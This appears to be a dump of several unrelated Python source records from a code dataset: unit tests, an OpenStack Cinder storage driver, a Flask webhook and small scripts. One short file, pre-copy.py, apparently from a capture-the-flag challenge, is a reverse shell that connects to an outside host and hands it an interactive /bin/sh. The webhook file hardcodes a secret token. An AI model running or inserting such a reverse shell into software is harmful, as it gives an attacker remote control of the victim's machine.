mocked_failure.call_count)\n mocked_infanticide.reset_mock()\n # test user conciliation\n conciliate_conflicts(self.supvisors, ConciliationStrategies.USER,\n self.conflicts)\n self.assertEqual(0, mocked_senicide.call_count)\n self.assertEqual(0, mocked_infanticide.call_count)\n self.assertEqual([call(self.conflicts)], mocked_user.call_args_list)\n self.assertEqual(0, mocked_stop.call_count)\n self.assertEqual(0, mocked_restart.call_count)\n self.assertEqual(0, mocked_failure.call_count)\n mocked_user.reset_mock()\n # test stop conciliation\n conciliate_conflicts(self.supvisors, ConciliationStrategies.STOP,\n self.conflicts)\n self.assertEqual(0, mocked_senicide.call_count)\n self.assertEqual(0, mocked_infanticide.call_count)\n self.assertEqual(0, mocked_user.call_count)\n self.assertEqual([call(self.conflicts)], mocked_stop.call_args_list)\n self.assertEqual(0, mocked_restart.call_count)\n self.assertEqual(0, mocked_failure.call_count)\n mocked_stop.reset_mock()\n # test restart conciliation\n conciliate_conflicts(self.supvisors, ConciliationStrategies.RESTART,\n self.conflicts)\n self.assertEqual(0, mocked_senicide.call_count)\n self.assertEqual(0, mocked_infanticide.call_count)\n self.assertEqual(0, mocked_user.call_count)\n self.assertEqual(0, mocked_stop.call_count)\n self.assertEqual([call(self.conflicts)], mocked_restart.call_args_list)\n self.assertEqual(0, mocked_failure.call_count)\n mocked_restart.reset_mock()\n # test restart conciliation\n conciliate_conflicts(self.supvisors, ConciliationStrategies.RUNNING_FAILURE,\n self.conflicts)\n self.assertEqual(0, mocked_senicide.call_count)\n self.assertEqual(0, mocked_infanticide.call_count)\n self.assertEqual(0, mocked_user.call_count)\n self.assertEqual(0, mocked_stop.call_count)\n self.assertEqual(0, mocked_restart.call_count)\n self.assertEqual([call(self.conflicts)], mocked_failure.call_args_list)\n\n\nclass RunningFailureHandlerTest(unittest.TestCase):\n \"\"\" Test case for the running failure strategies of the strategy module. \"\"\"\n\n def setUp(self):\n \"\"\" Create a Supvisors-like structure. \"\"\"\n self.supvisors = MockedSupvisors()\n\n def test_create(self):\n \"\"\" Test the values set at construction. \"\"\"\n from supvisors.strategy import RunningFailureHandler\n handler = RunningFailureHandler(self.supvisors)\n # test empty structures\n self.assertEqual(set(), handler.stop_application_jobs)\n self.assertEqual(set(), handler.restart_application_jobs)\n self.assertEqual(set(), handler.restart_process_jobs)\n self.assertEqual(set(), handler.continue_process_jobs)\n self.assertEqual(set(), handler.start_application_jobs)\n self.assertEqual(set(), handler.start_process_jobs)\n\n def test_clear_jobs(self):\n \"\"\" Test the clearance of internal structures. \"\"\"\n from supvisors.strategy import RunningFailureHandler\n handler = RunningFailureHandler(self.supvisors)\n # add data to sets\n self.stop_application_jobs = {1, 2}\n self.restart_application_jobs = {'a', 'b'}\n self.restart_process_jobs = {1, 0, 'bcd'}\n self.continue_process_jobs = {'aka', 2}\n self.start_application_jobs = {1, None}\n self.start_process_jobs = {0}\n # clear all\n handler.clear_jobs()\n # test empty structures\n self.assertEqual(set(), handler.stop_application_jobs)\n self.assertEqual(set(), handler.restart_application_jobs)\n self.assertEqual(set(), handler.restart_process_jobs)\n self.assertEqual(set(), handler.continue_process_jobs)\n self.assertEqual(set(), handler.start_application_jobs)\n self.assertEqual(set(), handler.start_process_jobs)\n\n def test_add_job(self):\n \"\"\" Test the addition of a new job using a strategy. \"\"\"\n from supvisors.strategy import RunningFailureHandler\n from supvisors.ttypes import RunningFailureStrategies\n handler = RunningFailureHandler(self.supvisors)\n # create a dummy process\n process_1 = Mock(application_name='dummy_application_A')\n process_2 = Mock(application_name='dummy_application_A')\n process_3 = Mock(application_name='dummy_application_B')\n # define compare function\n def compare_sets(stop_app=set(), restart_app=set(), restart_proc=set(),\n continue_proc=set(), start_app=set(), start_proc=set()):\n self.assertSetEqual(stop_app, handler.stop_application_jobs)\n self.assertSetEqual(restart_app, handler.restart_application_jobs)\n self.assertSetEqual(restart_proc, handler.restart_process_jobs)\n self.assertSetEqual(continue_proc, handler.continue_process_jobs)\n self.assertSetEqual(start_app, handler.start_application_jobs)\n self.assertSetEqual(start_proc, handler.start_process_jobs)\n # add a series of jobs\n handler.add_job(RunningFailureStrategies.CONTINUE, process_1)\n compare_sets(continue_proc={process_1})\n handler.add_job(RunningFailureStrategies.RESTART_PROCESS, process_2)\n compare_sets(restart_proc={process_2}, continue_proc={process_1})\n handler.add_job(RunningFailureStrategies.RESTART_PROCESS, process_1)\n compare_sets(restart_proc={process_2, process_1})\n handler.add_job(RunningFailureStrategies.RESTART_PROCESS, process_3)\n compare_sets(restart_proc={process_2, process_1, process_3})\n handler.add_job(RunningFailureStrategies.RESTART_PROCESS, process_3)\n compare_sets(restart_proc={process_2, process_1, process_3})\n handler.add_job(RunningFailureStrategies.RESTART_APPLICATION, process_1)\n compare_sets(restart_app={'dummy_application_A'}, restart_proc={process_3})\n handler.add_job(RunningFailureStrategies.STOP_APPLICATION, process_2)\n compare_sets(stop_app={'dummy_application_A'}, restart_proc={process_3})\n handler.add_job(RunningFailureStrategies.RESTART_APPLICATION, process_2)\n compare_sets(stop_app={'dummy_application_A'}, restart_proc={process_3})\n handler.add_job(RunningFailureStrategies.STOP_APPLICATION, process_1)\n compare_sets(stop_app={'dummy_application_A'}, restart_proc={process_3})\n\n def test_add_default_job(self):\n \"\"\" Test the addition of a new job using the strategy configured. \"\"\"\n from supvisors.strategy import RunningFailureHandler\n handler = RunningFailureHandler(self.supvisors)\n # create a dummy process\n process = Mock()\n process.rules = Mock(running_failure_strategy=2)\n # add a series of jobs\n with patch.object(handler, 'add_job') as mocked_add:\n handler.add_default_job(process)\n self.assertEqual([call(2, process)], mocked_add.call_args_list)\n\n def test_trigger_jobs(self):\n \"\"\" Test the processing of jobs. \"\"\"\n from supvisors.strategy import RunningFailureHandler\n handler = RunningFailureHandler(self.supvisors)\n # create mocked applications\n def mocked_application(appli_name, stopped):\n application = Mock(aplication_name=appli_name,\n **{'stopped.side_effect': [stopped, True]})\n self.supvisors.context.applications[appli_name] = application\n return application\n stop_appli_A = mocked_application('stop_application_A', False)\n stop_appli_B = mocked_application('stop_application_B', False)\n restart_appli_A = mocked_application('restart_application_A', False)\n restart_appli_B = mocked_application('restart_application_B', False)\n start_appli_A = mocked_application('start_application_A', True)\n start_appli_B = mocked_application('start_application_B', True)\n # create mocked processes\n def mocked_process(namespec, stopped):\n return Mock(**{'namespec.return_value': namespec,\n 'stopped.side_effect': [stopped, True]})\n restart_process_1 = mocked_process('restart_process_1', False)\n restart_process_2 = mocked_process('restart_process_2', False)\n start_process_1 = mocked_process('start_process_1', True)\n start_process_2 = mocked_process('start_process_2', True)\n continue_process = mocked_process('continue_process', False)\n # pre-fill sets\n handler.stop_application_jobs = {'stop_application_A', 'stop_application_B'}\n handler.restart_application_jobs = {'restart_application_A', 'restart_application_B'}\n handler.restart_process_jobs = {restart_process_1, restart_process_2}\n handler.continue_process_jobs = {continue_process}\n handler.start_application_jobs = {start_appli_A, start_appli_B}\n handler.start_process_jobs = {start_process_1, start_process_2}\n # get patches to starter and stopper\n mocked_stop_app = self.supvisors.stopper.stop_application\n mocked_start_app = self.supvisors.starter.default_start_application\n mocked_stop_proc = self.supvisors.stopper.stop_process\n mocked_start_proc = self.supvisors.starter.default_start_process\n # test jobs trigger\n handler.trigger_jobs()\n # check called patches\n self.assertItemsEqual([call(stop_appli_A), call(stop_appli_B),\n call(restart_appli_A), call(restart_appli_B)],\n mocked_stop_app.call_args_list)\n self.assertItemsEqual([call(start_appli_A), call(start_appli_B)],\n mocked_start_app.call_args_list)\n self.assertItemsEqual([call(restart_process_1), call(restart_process_2)],\n mocked_stop_proc.call_args_list)\n self.assertItemsEqual([call(start_process_1), call(start_process_2)],\n mocked_start_proc.call_args_list)\n # check impact on sets\n self.assertEqual(set(), handler.stop_application_jobs)\n self.assertEqual(set(), handler.restart_application_jobs)\n self.assertEqual(set(), handler.restart_process_jobs)\n self.assertEqual(set(), handler.continue_process_jobs)\n self.assertEqual({restart_appli_A, restart_appli_B},\n handler.start_application_jobs)\n self.assertEqual({restart_process_1, restart_process_2},\n handler.start_process_jobs)\n\n\ndef test_suite():\n return unittest.findTestCases(sys.modules[__name__])\n\nif __name__ == '__main__':\n unittest.main(defaultTest='test_suite')\n\n","sub_path":"supvisors/tests/test_strategy.py","file_name":"test_strategy.py","file_ext":"py","file_size_in_byte":26228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"623822641","text":"#!/usr/bin/env python3\n\nimport socket\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nhost='jmbax.crafting.xyz'\nport = 12345\n\nsocket.setdefaulttimeout(60)\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((host,port))\ns.send('g0tsh3ll!') \nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\nshell = subprocess.call([\"/bin/sh\",\"-i\"])\n","sub_path":"ccc/crypto/software_update/tree/signed_data/pre-copy.py","file_name":"pre-copy.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"245413556","text":"# 15IE10029\r\n# Stuti Modi\r\n#Assignment 1\r\nimport csv\r\nimport sys\r\n\r\nif len(sys.argv)>1:\r\n filename = sys.argv[1]\r\nelse:\r\n filename = \"data1.csv\"\r\n \r\ndata = []\r\ndata1 = []\r\nc = 1\r\nwith open(filename,'r') as f:\r\n reader = csv.reader(f)\r\n for row in reader:\r\n for i in range(len(row)):\r\n if row[i] not in (',',' ','\\n'):\r\n data1.append(int(row[i]))\r\n data.append(data1)\r\n data1 = []\r\n# print (data)\r\n \r\nhyp = []\r\nyInd = len(data[0])-1\r\n\r\nfor row in data:\r\n if row[yInd] == 1:\r\n if len(hyp) == 0:\r\n hyp = row\r\n else:\r\n for i in range(yInd):\r\n if(hyp[i] != row[i]):\r\n hyp[i]= \"?\"\r\n#print (hyp)\r\nfinalHyp = []\r\nfor i in range(yInd):\r\n if hyp[i]==1:\r\n finalHyp.append(i+1)\r\n elif hyp[i] == 0:\r\n finalHyp.append(-1*(i+1))\r\n\r\nprint(len(finalHyp),',',', '.join(map(str, finalHyp)))\r\n\r\n \r\n ","sub_path":"15IE10029_ass1.py","file_name":"15IE10029_ass1.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"619742671","text":"# Copyright (C) 2014, Hitachi, Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nFibre channel Cinder volume driver for Hitachi storage.\n\n\"\"\"\n\nimport os\nimport threading\n\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\nfrom oslo_utils import excutils\nimport six\n\nfrom cinder import exception\nfrom cinder.i18n import _LI, _LW\nfrom cinder import interface\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.hitachi import hbsd_basiclib as basic_lib\nfrom cinder.volume.drivers.hitachi import hbsd_common as common\nfrom cinder.zonemanager import utils as fczm_utils\n\nLOG = logging.getLogger(__name__)\n\nvolume_opts = [\n cfg.BoolOpt('hitachi_zoning_request',\n default=False,\n help='Request for FC Zone creating HostGroup'),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(volume_opts)\n\n\n@interface.volumedriver\nclass HBSDFCDriver(cinder.volume.driver.FibreChannelDriver):\n VERSION = common.VERSION\n\n # ThirdPartySystems wiki page\n CI_WIKI_NAME = [\"Hitachi_HBSD_CI\", \"Hitachi_HBSD2_CI\"]\n\n def __init__(self, *args, **kwargs):\n os.environ['LANG'] = 'C'\n super(HBSDFCDriver, self).__init__(*args, **kwargs)\n self.db = kwargs.get('db')\n self.common = None\n self.configuration.append_config_values(common.volume_opts)\n self._stats = {}\n self.context = None\n self.max_hostgroups = None\n self.pair_hostgroups = []\n self.pair_hostnum = 0\n self.do_setup_status = threading.Event()\n\n def _check_param(self):\n self.configuration.append_config_values(volume_opts)\n for opt in volume_opts:\n getattr(self.configuration, opt.name)\n\n def check_param(self):\n try:\n self.common.check_param()\n self._check_param()\n except exception.HBSDError:\n raise\n except Exception as ex:\n msg = basic_lib.output_err(601, param=six.text_type(ex))\n raise exception.HBSDError(message=msg)\n\n def output_param_to_log(self):\n lock = basic_lib.get_process_lock(self.common.system_lock_file)\n\n with lock:\n self.common.output_param_to_log('FC')\n for opt in volume_opts:\n if not opt.secret:\n value = getattr(self.configuration, opt.name)\n LOG.info(_LI('\\t%(name)-35s : %(value)s'),\n {'name': opt.name, 'value': value})\n self.common.command.output_param_to_log(self.configuration)\n\n def _add_wwn(self, hgs, port, gid, wwns):\n for wwn in wwns:\n wwn = six.text_type(wwn)\n self.common.command.comm_add_hbawwn(port, gid, wwn)\n detected = self.common.command.is_detected(port, wwn)\n hgs.append({'port': port, 'gid': gid, 'initiator_wwn': wwn,\n 'detected': detected})\n LOG.debug('Create host group for %s', hgs)\n\n def _add_lun(self, hostgroups, ldev):\n if hostgroups is self.pair_hostgroups:\n is_once = True\n else:\n is_once = False\n self.common.add_lun('auhgmap', hostgroups, ldev, is_once)\n\n def _delete_lun(self, hostgroups, ldev):\n try:\n self.common.command.comm_delete_lun(hostgroups, ldev)\n except exception.HBSDNotFound:\n LOG.warning(basic_lib.set_msg(301, ldev=ldev))\n\n def _get_hgname_gid(self, port, host_grp_name):\n return self.common.command.get_hgname_gid(port, host_grp_name)\n\n def _get_unused_gid(self, port):\n group_range = self.configuration.hitachi_group_range\n if not group_range:\n group_range = basic_lib.DEFAULT_GROUP_RANGE\n return self.common.command.get_unused_gid(group_range, port)\n\n def _get_hostgroup_info(self, hgs, wwns, login=True):\n target_ports = self.configuration.hitachi_target_ports\n return self.common.command.comm_get_hostgroup_info(\n hgs, wwns, target_ports, login=login)\n\n def _fill_group(self, hgs, port, host_grp_name, wwns):\n added_hostgroup = False\n LOG.debug('Create host group (hgs: %(hgs)s port: %(port)s '\n 'name: %(name)s wwns: %(wwns)s)',\n {'hgs': hgs, 'port': port,\n 'name': host_grp_name, 'wwns': wwns})\n gid = self._get_hgname_gid(port, host_grp_name)\n if gid is None:\n for retry_cnt in basic_lib.DEFAULT_TRY_RANGE:\n try:\n gid = self._get_unused_gid(port)\n self._add_hostgroup(port, gid, host_grp_name)\n added_hostgroup = True\n except exception.HBSDNotFound:\n gid = None\n LOG.warning(basic_lib.set_msg(312, resource='GID'))\n continue\n else:\n LOG.debug('Completed to add host target'\n '(port: %(port)s gid: %(gid)d)',\n {'port': port, 'gid': gid})\n break\n else:\n msg = basic_lib.output_err(641)\n raise exception.HBSDError(message=msg)\n\n try:\n if wwns:\n self._add_wwn(hgs, port, gid, wwns)\n else:\n hgs.append({'port': port, 'gid': gid, 'initiator_wwn': None,\n 'detected': True})\n except Exception:\n with excutils.save_and_reraise_exception():\n if added_hostgroup:\n self._delete_hostgroup(port, gid, host_grp_name)\n\n def add_hostgroup_master(self, hgs, master_wwns, host_ip, security_ports):\n target_ports = self.configuration.hitachi_target_ports\n group_request = self.configuration.hitachi_group_request\n wwns = []\n for wwn in master_wwns:\n wwns.append(wwn.lower())\n if target_ports and group_request:\n host_grp_name = '%s%s' % (basic_lib.NAME_PREFIX, host_ip)\n for port in security_ports:\n wwns_copy = wwns[:]\n for hostgroup in hgs:\n if (hostgroup['port'] == port and\n hostgroup['initiator_wwn'].lower() in wwns_copy):\n wwns_copy.remove(hostgroup['initiator_wwn'].lower())\n if wwns_copy:\n try:\n self._fill_group(hgs, port, host_grp_name, wwns_copy)\n except Exception as ex:\n LOG.warning(_LW('Failed to add host group: %s'), ex)\n LOG.warning(basic_lib.set_msg(\n 308, port=port, name=host_grp_name))\n\n if not hgs:\n raise exception.HBSDError(message=basic_lib.output_err(649))\n\n def add_hostgroup_pair(self, pair_hostgroups):\n if self.configuration.hitachi_unit_name:\n return\n\n properties = utils.brick_get_connector_properties()\n if 'wwpns' not in properties:\n msg = basic_lib.output_err(650, resource='HBA')\n raise exception.HBSDError(message=msg)\n hostgroups = []\n self._get_hostgroup_info(hostgroups, properties['wwpns'],\n login=False)\n host_grp_name = '%spair%02x' % (basic_lib.NAME_PREFIX,\n self.pair_hostnum)\n for hostgroup in hostgroups:\n gid = self._get_hgname_gid(hostgroup['port'],\n host_grp_name)\n\n # When 'gid' is 0, it should be true.\n # So, it cannot remove 'is not None'.\n if gid is not None:\n pair_hostgroups.append({'port': hostgroup['port'],\n 'gid': gid, 'initiator_wwn': None,\n 'detected': True})\n break\n\n if not pair_hostgroups:\n for hostgroup in hostgroups:\n pair_port = hostgroup['port']\n try:\n self._fill_group(pair_hostgroups, pair_port,\n host_grp_name, None)\n except Exception:\n if hostgroup is hostgroups[-1]:\n raise\n else:\n break\n\n def add_hostgroup(self):\n properties = utils.brick_get_connector_properties()\n if 'wwpns' not in properties:\n msg = basic_lib.output_err(650, resource='HBA')\n raise exception.HBSDError(message=msg)\n LOG.debug(\"wwpns: %s\", properties['wwpns'])\n\n hostgroups = []\n security_ports = self._get_hostgroup_info(\n hostgroups, properties['wwpns'], login=False)\n self.add_hostgroup_master(hostgroups, properties['wwpns'],\n properties['ip'], security_ports)\n self.add_hostgroup_pair(self.pair_hostgroups)\n\n def _get_target_wwn(self, port):\n target_wwns = self.common.command.comm_set_target_wwns(\n self.configuration.hitachi_target_ports)\n return target_wwns[port]\n\n def _add_hostgroup(self, port, gid, host_grp_name):\n self.common.command.comm_add_hostgrp(port, gid, host_grp_name)\n\n def _delete_hostgroup(self, port, gid, host_grp_name):\n try:\n self.common.command.comm_del_hostgrp(port, gid, host_grp_name)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.warning(basic_lib.set_msg(\n 306, port=port, gid=gid, name=host_grp_name))\n\n def _check_volume_mapping(self, hostgroup):\n port = hostgroup['port']\n gid = hostgroup['gid']\n if self.common.command.get_hostgroup_luns(port, gid):\n return True\n else:\n return False\n\n def _build_initiator_target_map(self, hostgroups, terminate=False):\n target_wwns = []\n init_targ_map = {}\n\n target_ports = self.configuration.hitachi_target_ports\n zoning_request = self.configuration.hitachi_zoning_request\n\n for hostgroup in hostgroups:\n target_wwn = self._get_target_wwn(hostgroup['port'])\n\n if target_wwn not in target_wwns:\n target_wwns.append(target_wwn)\n\n if target_ports and zoning_request:\n if terminate and self._check_volume_mapping(hostgroup):\n continue\n\n initiator_wwn = hostgroup['initiator_wwn']\n if initiator_wwn not in init_targ_map:\n init_targ_map[initiator_wwn] = []\n\n init_targ_map[initiator_wwn].append(target_wwn)\n\n return target_wwns, init_targ_map\n\n def _get_properties(self, volume, hostgroups, terminate=False):\n properties = {}\n\n target_wwns, init_targ_map = self._build_initiator_target_map(\n hostgroups, terminate)\n\n properties['target_wwn'] = target_wwns\n\n if init_targ_map:\n properties['initiator_target_map'] = init_targ_map\n\n if not terminate:\n properties['target_lun'] = hostgroups[0]['lun']\n\n return properties\n\n def do_setup(self, context):\n self.context = context\n self.common = common.HBSDCommon(self.configuration, self,\n context, self.db)\n\n self.check_param()\n\n self.common.create_lock_file()\n\n self.common.command.connect_storage()\n self.max_hostgroups = self.common.command.get_max_hostgroups()\n\n lock = basic_lib.get_process_lock(self.common.service_lock_file)\n with lock:\n self.add_hostgroup()\n\n self.output_param_to_log()\n self.do_setup_status.set()\n\n def check_for_setup_error(self):\n pass\n\n def extend_volume(self, volume, new_size):\n self.do_setup_status.wait()\n self.common.extend_volume(volume, new_size)\n\n def get_volume_stats(self, refresh=False):\n if refresh:\n if self.do_setup_status.isSet():\n self.common.output_backend_available_once()\n _stats = self.common.update_volume_stats(\"FC\")\n if _stats:\n self._stats = _stats\n return self._stats\n\n def create_volume(self, volume):\n self.do_setup_status.wait()\n metadata = self.common.create_volume(volume)\n return metadata\n\n def delete_volume(self, volume):\n self.do_setup_status.wait()\n self.common.delete_volume(volume)\n\n def create_snapshot(self, snapshot):\n self.do_setup_status.wait()\n metadata = self.common.create_snapshot(snapshot)\n return metadata\n\n def delete_snapshot(self, snapshot):\n self.do_setup_status.wait()\n self.common.delete_snapshot(snapshot)\n\n def create_cloned_volume(self, volume, src_vref):\n self.do_setup_status.wait()\n metadata = self.common.create_cloned_volume(volume, src_vref)\n return metadata\n\n def create_volume_from_snapshot(self, volume, snapshot):\n self.do_setup_status.wait()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n return metadata\n\n def _initialize_connection(self, ldev, connector, src_hgs=None):\n LOG.debug(\"Call _initialize_connection \"\n \"(config_group: %(group)s ldev: %(ldev)d)\",\n {'group': self.configuration.config_group, 'ldev': ldev})\n if src_hgs is self.pair_hostgroups:\n hostgroups = src_hgs\n else:\n hostgroups = []\n security_ports = self._get_hostgroup_info(\n hostgroups, connector['wwpns'], login=True)\n self.add_hostgroup_master(hostgroups, connector['wwpns'],\n connector['ip'], security_ports)\n\n if src_hgs is self.pair_hostgroups:\n try:\n self._add_lun(hostgroups, ldev)\n except exception.HBSDNotFound:\n LOG.warning(basic_lib.set_msg(311, ldev=ldev))\n for i in range(self.max_hostgroups + 1):\n self.pair_hostnum += 1\n pair_hostgroups = []\n try:\n self.add_hostgroup_pair(pair_hostgroups)\n self.pair_hostgroups.extend(pair_hostgroups)\n except exception.HBSDNotFound:\n if i >= self.max_hostgroups:\n msg = basic_lib.output_err(648, resource='GID')\n raise exception.HBSDError(message=msg)\n else:\n break\n self.pair_initialize_connection(ldev)\n else:\n self._add_lun(hostgroups, ldev)\n\n return hostgroups\n\n @fczm_utils.AddFCZone\n def initialize_connection(self, volume, connector):\n self.do_setup_status.wait()\n ldev = self.common.get_ldev(volume)\n if ldev is None:\n msg = basic_lib.output_err(619, volume_id=volume['id'])\n raise exception.HBSDError(message=msg)\n self.common.add_volinfo(ldev, volume['id'])\n with self.common.volume_info[ldev]['lock'],\\\n self.common.volume_info[ldev]['in_use']:\n hostgroups = self._initialize_connection(ldev, connector)\n properties = self._get_properties(volume, hostgroups)\n LOG.debug('Initialize volume_info: %s',\n self.common.volume_info)\n\n LOG.debug('HFCDrv: properties=%s', properties)\n return {\n 'driver_volume_type': 'fibre_channel',\n 'data': properties\n }\n\n def _terminate_connection(self, ldev, connector, src_hgs):\n LOG.debug(\"Call _terminate_connection(config_group: %s)\",\n self.configuration.config_group)\n hostgroups = src_hgs[:]\n self._delete_lun(hostgroups, ldev)\n LOG.debug(\"*** _terminate_ ***\")\n\n @fczm_utils.RemoveFCZone\n def terminate_connection(self, volume, connector, **kwargs):\n self.do_setup_status.wait()\n ldev = self.common.get_ldev(volume)\n if ldev is None:\n LOG.warning(basic_lib.set_msg(302, volume_id=volume['id']))\n return\n\n if 'wwpns' not in connector:\n msg = basic_lib.output_err(650, resource='HBA')\n raise exception.HBSDError(message=msg)\n\n hostgroups = []\n self._get_hostgroup_info(hostgroups,\n connector['wwpns'], login=False)\n if not hostgroups:\n msg = basic_lib.output_err(649)\n raise exception.HBSDError(message=msg)\n\n self.common.add_volinfo(ldev, volume['id'])\n with self.common.volume_info[ldev]['lock'],\\\n self.common.volume_info[ldev]['in_use']:\n self._terminate_connection(ldev, connector, hostgroups)\n properties = self._get_properties(volume, hostgroups,\n terminate=True)\n LOG.debug('Terminate volume_info: %s', self.common.volume_info)\n\n return {\n 'driver_volume_type': 'fibre_channel',\n 'data': properties\n }\n\n def pair_initialize_connection(self, ldev):\n if self.configuration.hitachi_unit_name:\n return\n self._initialize_connection(ldev, None, self.pair_hostgroups)\n\n def pair_terminate_connection(self, ldev):\n if self.configuration.hitachi_unit_name:\n return\n self._terminate_connection(ldev, None, self.pair_hostgroups)\n\n def discard_zero_page(self, volume):\n self.common.command.discard_zero_page(self.common.get_ldev(volume))\n\n def create_export(self, context, volume, connector):\n pass\n\n def ensure_export(self, context, volume):\n pass\n\n def remove_export(self, context, volume):\n pass\n\n def copy_image_to_volume(self, context, volume, image_service, image_id):\n self.do_setup_status.wait()\n super(HBSDFCDriver, self).copy_image_to_volume(context, volume,\n image_service,\n image_id)\n self.discard_zero_page(volume)\n\n def copy_volume_to_image(self, context, volume, image_service, image_meta):\n self.do_setup_status.wait()\n if volume['volume_attachment']:\n desc = 'volume %s' % volume['id']\n msg = basic_lib.output_err(660, desc=desc)\n raise exception.HBSDError(message=msg)\n super(HBSDFCDriver, self).copy_volume_to_image(context, volume,\n image_service,\n image_meta)\n\n def before_volume_copy(self, context, src_vol, dest_vol, remote=None):\n \"\"\"Driver-specific actions before copyvolume data.\n\n This method will be called before _copy_volume_data during volume\n migration\n \"\"\"\n self.do_setup_status.wait()\n\n def after_volume_copy(self, context, src_vol, dest_vol, remote=None):\n \"\"\"Driver-specific actions after copyvolume data.\n\n This method will be called after _copy_volume_data during volume\n migration\n \"\"\"\n self.discard_zero_page(dest_vol)\n\n def restore_backup(self, context, backup, volume, backup_service):\n self.do_setup_status.wait()\n super(HBSDFCDriver, self).restore_backup(context, backup,\n volume, backup_service)\n self.discard_zero_page(volume)\n\n def manage_existing(self, volume, existing_ref):\n return self.common.manage_existing(volume, existing_ref)\n\n def manage_existing_get_size(self, volume, existing_ref):\n self.do_setup_status.wait()\n return self.common.manage_existing_get_size(volume, existing_ref)\n\n def unmanage(self, volume):\n self.do_setup_status.wait()\n self.common.unmanage(volume)\n","sub_path":"cinder/volume/drivers/hitachi/hbsd_fc.py","file_name":"hbsd_fc.py","file_ext":"py","file_size_in_byte":20490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"113402808","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport logging\nfrom flask import jsonify, request, current_app, redirect\nfrom flask_restful import Resource, abort\nfrom views import api\nfrom tasks import do_build\nimport hmac\nimport hashlib\n\nclass GithubWebhook(Resource):\n secret_token = '9fd09dc33545f9cc19b81ebd0b98c4fd8c66ed1e34de89f4c9a81e6b26dc0d54'\n def post(self):\n result = {'result':1, 'reason':'Forbidden'}\n\n text = request.get_data()\n signature = hmac.new(self.secret_token, text, hashlib.sha1).hexdigest()\n token = request.headers.get('X-Hub-Signature').split('=')[1]\n\n if signature != token:\n result['reason'] = 'Hash {0} not match {1}'.format(token, signature)\n return jsonify(result)\n\n event = request.headers.get('X-GitHub-Event')\n jsonobj = request.get_json()\n user = jsonobj['sender'].get('login')\n repo = jsonobj['repository'].get('name')\n logging.info('****{0}**** send a \"{1}\" event, on {2}'.format(user, event, repo))\n\n r = do_build.delay(repo, '')\n\n if user == 'demo':\n return redirect(api.url_for(self, task_id=r.id))\n else:\n return {'link': api.url_for(self, task_id=r.id)}\n\n def get(self, task_id):\n task = do_build.AsyncResult(task_id)\n if task.state == 'PENDING':\n response = {\n 'task': api.url_for(self, task_id=task_id),\n 'state': task.state,\n 'current': 0,\n 'total': 100,\n 'status': 'Pending...'\n }\n elif task.state == 'PROGRESS':\n response = {\n 'task': api.url_for(self, task_id=task_id),\n 'state': task.state,\n 'current': task.info.get('current', 0),\n 'total': task.info.get('total', 100),\n 'status': task.info.get('status', '')\n }\n else:\n response = {\n 'task': api.url_for(self, task_id=task_id),\n 'state': task.state,\n 'current': 100,\n 'total': 100,\n 'status': str(task.info),\n }\n return jsonify(response)\n","sub_path":"pyapp/hooks.py","file_name":"hooks.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"639571203","text":"from __future__ import print_function\n\nimport cooler.contrib.higlass as cch\nimport cooler.cli.coarsegrain as ccc\nimport h5py\nimport os.path as op\n\ntestdir = op.realpath(op.dirname(__file__))\n\n\ndef test_data_retrieval():\n data_file = op.join(testdir, 'data', 'dixon2012-h1hesc-hindiii-allreps-filtered.1000kb.multires.cool')\n \n f = h5py.File(data_file, 'r')\n \n data = cch.get_data(f, 0, 0, 3276799999, 0, 3276799999)\n\n assert(data['genome_start1'].iloc[0] == 0.)\n assert(data['genome_start2'].iloc[0] == 0.)\n\n data = cch.get_data(f, 4, 0, 256000000, 0, 256000000)\n\n assert(data['genome_start1'].iloc[-1] > 255000000)\n assert(data['genome_start1'].iloc[-1] < 256000000)\n #print(\"ge1\", data['genome_end1'])\n\n\ndef test_recursive_agg():\n infile = op.join(testdir, 'data', 'GM12878-MboI-matrix.2000kb.cool')\n outfile = '/tmp/bla.cool'\n chunksize = int(10e6)\n n_zooms = 2\n n_cpus = 8\n ccc.multires_aggregate(infile, outfile, n_zooms, chunksize, n_cpus)\n ccc.multires_balance(outfile, n_zooms, chunksize, n_cpus)\n","sub_path":"tests/test_contrib.py","file_name":"test_contrib.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"26832011","text":"import sqlparse\r\nimport copy\r\nimport re\r\nimport time\r\n\r\nlogical_opt = ['AND', 'OR', '(', ')']\r\ncompare_opt = ['>=', '<=', '<>', '>', '<', '=', 'LIKE']\r\n\r\n\r\ndef get_condition(where):\r\n loglst = [l for l in where.split(' ') if l in logical_opt]\r\n newlst = copy.deepcopy(loglst)\r\n if '(' in newlst and ')' in newlst:\r\n newlst.remove('(')\r\n newlst.remove(')')\r\n where = where.replace(\"(\", \"\")\r\n where = where.replace(\")\", \"\")\r\n if not newlst:\r\n return loglst, [where]\r\n else:\r\n if len(newlst) > 1:\r\n for log in 